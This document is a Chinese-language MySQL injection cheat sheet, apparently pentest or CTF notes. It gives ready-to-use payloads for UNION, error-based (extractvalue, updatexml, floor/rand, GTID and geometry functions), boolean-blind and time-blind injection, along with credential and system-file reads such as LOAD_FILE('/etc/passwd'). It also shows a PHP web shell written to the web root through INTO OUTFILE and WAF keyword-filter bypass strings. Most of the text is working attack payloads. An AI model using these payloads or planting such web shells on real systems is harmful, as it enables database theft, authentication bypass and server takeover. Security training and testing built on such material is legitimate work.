MySQL 注入的本质,是攻击者让可控输入进入 SQL 语句的语法结构中,从而改变原查询逻辑,实现认证绕过、数据读取、盲注枚举、文件读写甚至进一步拿下主机。
- 登录绕过、权限绕过
- 读取数据库结构和敏感数据
- 通过报错、布尔盲注、时间盲注做无回显利用
- 读取服务器文件
- 在具备条件时写文件、落 WebShell
- 与 WAF 绕过、Token 绕过、二次注入联动
- Union 型注入
- 报错型注入
- Bool 型盲注
- 时间型盲注
- 堆叠查询与多语句利用(受驱动和配置影响)
- 二次注入
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;SELECT table_name FROM information_schema.tables WHERE table_schema = database();SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';- 当前用户:
user() - 查询版本:
version()、@@version、@@global.version - 查询主机名:
@@hostname - 查询安全目录:
@@global.secure_file_priv
先用最小探针确认参数是否进入 SQL 结构,例如:
'"and 1=1and 1=2
区分:
- 直接回显
- 报错回显
- 无回显
通常顺序为:
- Union 注入
- 报错型注入
- Bool 盲注
- 时间盲注
常用 ORDER BY:
ORDER BY 1
ORDER BY 2
ORDER BY 3不断增加直到报错,即可推测原查询字段数。
通过 UNION SELECT 1,2,3... 判断哪些字段会显示在页面中。
示例:
SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 4--+若 ORDER BY 4 报错,说明字段数为 3。
进一步利用:
-1' UNION SELECT 1,2,3--+
-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+适合“页面不直接显示查询结果,但会返回数据库错误信息”的场景。
常见报错函数或思路:
floor(rand())extractvalue()updatexml()- 几何函数
exp()GTID_SUBSET()GTID_SUBTRACT()ST_LatFromGeoHash()ST_LongFromGeoHash()ST_PointFromGeoHash()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;利用分组和随机数重复导致的报错把数据带出来。
这两个 XML 相关函数在很多历史版本里是高频报错利用点:
select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);若 concat 被过滤,可尝试替代:
select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version()));
select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@'));select multipoint((select * from (select * from (select * from (select version())a)b)c));
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));适用于部分版本:
select exp(~(select * from(select user())x));select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select GTID_SUBSET(version(),1);
select GTID_SUBTRACT(version(),1);
select ST_PointFromGeoHash(version(),1);and 1=1
and 1=2AND ascii((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables LIMIT 0,1)) = ascii('A')适用于无报错、无直接回显,但页面真假状态可观察的场景。
and sleep(5)and if((select ord(substring(database(),1,1))) = 97,sleep(5),1)常见写法:
if((condition), sleep(5), 0)
CASE WHEN (condition) THEN sleep(5) ELSE 0 END
sleep(5*(condition))一般需要 FILE 权限,且受到 secure_file_priv 限制。
SELECT @@secure_file_priv;
SELECT file_priv FROM mysql.user WHERE user = 'username';
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';说明:
- MySQL
>= 5.5.53常见情况是NULL,表示禁止导入导出 - MySQL
< 5.5.53为空时往往限制更少
SELECT LOAD_FILE('/etc/passwd');注意点:
- MySQL 账户需要对文件有读取权限
- 文件大小受
max_allowed_packet限制 LOAD_FILE()并非对所有路径都可用
常用:
INTO OUTFILEINTO DUMPFILE
示例:
SELECT '<? @eval($_POST[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';拼接写文件示例:
admin' or 'a'='a' LIMIT 0,1 INTO OUTFILE '/var/www/html/re.php' FIELDS TERMINATED BY '-' LINES TERMINATED BY '<?phpinfo();?>'---select concat(id,0x7e,name) as c from a limit 1;select concat_ws('_',id,name) as c from a limit 1;select group_concat(name) as name from a;常用:
left()right()substring()substring_index()
示例:
SELECT LEFT('web-exp-mysql',6);
SELECT RIGHT('web-exp-mysql',6);
SELECT SUBSTRING('web-exp-mysql', 3);
SELECT SUBSTRING_INDEX('web-exp-mysql', '-', 2);
SELECT SUBSTRING_INDEX('web-exp-mysql', '.', -2);若目标过滤以下关键字或字符:
gtid_subset|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|hash|sleep|benchmark| |;|\*|\+|-|/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`
则可尝试:
- 大小写变形
- 编码变形
- 函数替换
- 运算替换
- 无空格构造
- 布尔表达式拼接
原文保留示例:
'and(ASCII(substring((select(group_concat(table_name))from(information_schema.TABLES)where(TABLE_SCHEMA='rctf')),(ord('b')MOD(ord('a'))),(ord('b')MOD(ord('a')))))=ASCII('f')'and(ASCII(substring((select(group_concat(table_name))from(information_schema.TABLES)where(TABLE_SCHEMA='rctf')),(ord('b')MOD(ord('a'))),(ord('b')MOD(ord('a')))))=ASCII('f')对存在动态 Token 的接口,可借助自动化联动工具处理。
- 先判断闭合方式和注入位置
- 先争取直接回显,再退到报错型、布尔盲注、时间盲注
- 先枚举数据库、表、列,再根据权限评估文件读写
- 结合业务看是否能登录绕过、越权或做二次注入
- 关注驱动差异、多语句支持、WAF 和 Token 机制
- 先探测:引号、布尔、时间
- 再判断:Union、报错、盲注哪条路最短
- 枚举:库、表、列、用户、版本、主机名
- 检查:
FILE权限、secure_file_priv、可读写路径 - 结合:WAF、Token、二次注入、文件写入